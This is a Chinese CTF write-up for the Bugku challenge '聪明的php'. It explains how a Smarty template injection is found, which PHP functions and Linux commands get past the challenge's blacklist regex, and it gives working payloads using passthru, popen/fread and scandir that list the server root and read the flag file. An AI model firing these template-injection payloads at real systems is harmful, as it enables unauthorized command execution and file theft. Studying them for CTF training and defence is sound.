bugku CTF 聪明的php

获取信息

随意传参获取到smarty提示,有可能是模板注入

验证是否为模板注入

从源码中发现/system|readfile|gz|exec|eval|cat|assert|file|fgets/i 这些函数都被过滤

课外知识点

php命令执行函数有

https://www.php.net/exec

exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_terminate — 杀除由 proc_open 打开的进程
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
scandir 列出指定路径中的文件和目录
eval — 把字符串作为PHP代码执行
assert --函数直接将传入的参数当成PHP代码执行

linux查看文件的命令

cat tac more less head tail nl static-sh paste od bzmore bzless

php文件读取函数

print r() fread() fgets() vardump()

构造payload

1.使用passthru函数找到flag文件,并读取flag文件内容

/index.php?a={passthru("ls -al /")}

获取目录文件,查看结果有两个文件比较特殊

 

查看文件内容,这里用tac,也可以用其他的linux文件读取命令

/index.php?f={passthru("tac%20/_18366")}

 

2.使用popen函数找到flag文件,并读取flag文件内容

/index.php?f={fread(popen("/bin/ls%20-al%20/","r"),2096)}

 /index.php?f={fread(popen("/bin/less%20/_18366","r"),2096)}

 

3.使用scandir函数找到flag文件,并读取flag文件内容

/index.php?f={print_r(scandir("/"))}

/index.php?f={var_dump(scandir("/"))}

 /index.php?f={fread(fopen("/_18366","r"),4096)}

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值